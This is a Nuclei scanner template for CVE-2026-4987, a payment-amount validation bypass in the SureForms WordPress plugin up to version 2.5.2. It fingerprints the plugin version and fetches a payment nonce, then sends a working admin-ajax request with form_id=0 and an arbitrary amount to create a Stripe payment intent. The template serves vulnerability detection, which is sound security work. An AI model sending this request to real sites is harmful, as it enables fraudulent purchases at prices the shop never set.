SureForms <= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via form_id

id: CVE-2026-4987

info:
  name: SureForms <= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via form_id
  author: iamatownboy
  severity: high
  description: |
    The SureForms plugin for WordPress is vulnerable to payment amount validation bypass in versions up to, and including, 2.5.2.
    The create_payment_intent AJAX handler checks `if ($form_id > 0 && !empty($block_id))` before calling validate_payment_amount().
    By sending form_id=0 (the default intval of a missing/zero value), an unauthenticated attacker completely skips the server-side
    amount validation and can create Stripe payment intents with arbitrary amounts, bypassing configured pricing.
  impact: |
    Unauthenticated attackers can create underpriced payment or subscription intents and complete purchases at fraudulent prices.
  remediation: |
    Update SureForms to version 2.6.0 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-4987
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/c4772b32-a730-44f2-b43c-f9bd5abb6541?source=cve
    - https://plugins.trac.wordpress.org/changeset/3488858/sureforms
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-4987
    epss-score: 0.00707
    epss-percentile: 0.50761
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 3
    vendor: brainstormforce
    product: sureforms
    framework: wordpress
    publicwww-query: "/wp-content/plugins/sureforms/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,sureforms,payment,validation-bypass,unauth

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/sureforms/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "SureForms")
          - compare_versions(version, "<= 2.5.2")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-json/sureforms/v1/refresh-nonces"

    matchers:
      - type: word
        part: body
        words:
          - "payment_nonce"
        internal: true

    extractors:
      - type: regex
        name: payment_nonce
        part: body
        group: 1
        regex:
          - '"payment_nonce"\s*:\s*"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/

        action=srfm_create_payment_intent&nonce={{payment_nonce}}&amount=1&currency=usd&form_id=0&block_id=&description=SureForms&customer_email=test@example.com&customer_name=test

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "client_secret"
          - "payment_intent_id"
          - "API Key provided"
        condition: or

      - type: word
        part: body
        words:
          - "Invalid nonce"
        negative: true

      - type: status
        status:
          - 200
# digest: 4a0a00473045022063c263da906f8a4f3905bdddc10475859f780b6864cee7fbd045e496b2cb87a5022100b45e458b4314bc5e86eafafe59f073ce6f8eab509980ef8a26090c5144574b9f:922c64590222798bb761d5b6d8e72950